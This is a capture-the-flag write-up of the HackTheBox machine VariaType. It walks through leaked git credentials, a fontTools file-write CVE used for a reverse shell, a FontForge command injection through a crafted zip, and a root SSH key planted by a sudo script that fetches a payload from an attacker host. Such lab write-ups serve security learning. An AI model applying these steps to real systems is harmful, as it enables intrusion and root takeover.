Variatype Writeup (HackTheBox Medium Machine)

Another Medium machine on HTB. But this one is a little special.
Overview
VariaType is a medium-difficulty HackTheBox machine that chains a git-leaked credential and path traversal into a fonttools CVE then a fontforge command injection CVE , and finishes with a setuptools path traversal CVE abused through a root sudo script to plant an SSH key for root.

Reconnaissance
Quick naabu scan as per usual to find open ports and services.
variatype.htb is revealed.

Added that to /etc/hosts to access it over the browser.
It seems to be some sort of a font-generating service.

The font generation button guides us to an upload form. The extensions in question are font generation specific.

Guided by the newly-learned extensions, I tried to follow their trail for a possible CVE or known vulnerability, and I did find a recent one : CVE-2025-66034 : In fact, fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib, that leads to remote code execution when a malicious .designspace file is processed.
Following the PoC from this stage didn’t work for me, and I almost thought this was a rabbit hole.
Later on I made total use of this exploit but after a couple of additional steps.
Time to fuzz for subdomains:

A new subdomain found. Adding it to /etc/hosts.
It’s a portal for internal validation.

More fuzzing for directories under this new subdomain :
1 |
|
A very interesting exposed .git directory is revealed, and we get to extract its contents thanks to a tool called git-dumper
1 | $ git-dumper http://portal.variatype.htb/.git repo |
I checked the commit history.

The most recent one is adding a gitbot user for the validation pipeline, so it’s safe to inspect that one. And we’re lucky to find plaintext credentials, that actually belong in the portal we found earlier.

Authenticated successfully and accessed the Validation Dashboard.

I went back and tested some of the files I found in my FFUF scan, most of them return nothing or 403 EXCEPT FOR download.php which gave us a valuable hint : File parameter required.
That could be a hint for LFI.
We also have the CVE we found still laying around.
First thing is to craft the malicious .designspace file :
The earlier fuzzing revealed an additional subdirectory : files . And that’s exactly where the exploit is going to be put.
After uploading the malicious file alongside two ordinary (.ttf) files, we set our listener, then trigger the exploit :
1 | $ curl -s -b "PHPSESSID=q5kdjai4mul55bfo1m6paiktgd" \ |

And that’s how we got our revshell as user www-data.
Trying to locate the user flag, I found the user steve.

CVE-2024-25082
This one has been super tricky. FontForge’s automatic archive extraction passes filenames to a shell without sanitization, allowing a semicolon-delimited payload embedded in a TAR (or ZIP) entry name to execute arbitrary commands.
CVE-2024-25082
The approach is to ssh as steve.

Following the PoC , I used this exploit :
1 | import zipfile |
cp payload.zip /var/www/portal.variatype.htb/public/files/payload.zip
Placing it here puts the ZIP wherever the application’s font-processing pipeline picks up new uploads/files for parsing, triggering the injected command when it’s unzipped and processed.

That’s it for the user flag.
Privilege Escalation
The first test gives out good info already:
1 | steve@variatype:~$ sudo -l |
User Steve is allowed to run /opt/font-tools/install_validator.py as root.
steve@variatype:~$ cat /opt/font-tools/install_validator.py :
1 | #!/usr/bin/env python3 |
The script is a helper intended to let “typography operators” fetch validator plugins from a URL. It does minimal validation then hands the URL straight to setuptools.package_index.PackageIndex.download(), a legacy setuptools helper originally meant to fetch Python packages/eggs from PyPI-like indexes.
The key primitive here is arbitrary file write as root, controlled by us, of a .py file into a known directory.
Now we create an ssh key for the root locally .

This is the payload we’ll be abusing to install our ssh key:
1 | #!/usr/bin/env python3 |
Next steps are to append they key to the payload then serve it:

Then running : sudo /opt/font-tools/install_validator.py http://<attacker-ip>:8000/root_key.pub.py to trigger the download and execution of the payload.

Final step is to ssh as root:
And that’s it for the root flag.
Rating
Two words: Tricky & Special.
Tricky because it kept confusing me, there was a couple of ideas I got here and there that misled me (didn’t include them to keep the writeup neat).
Special because it got me to Hacker rank on HackTheBox. A milestone I’m proud of, that reminded me of how far I’ve gone, yet how far one still is in this journey.
4 Stars.
⭐⭐⭐⭐
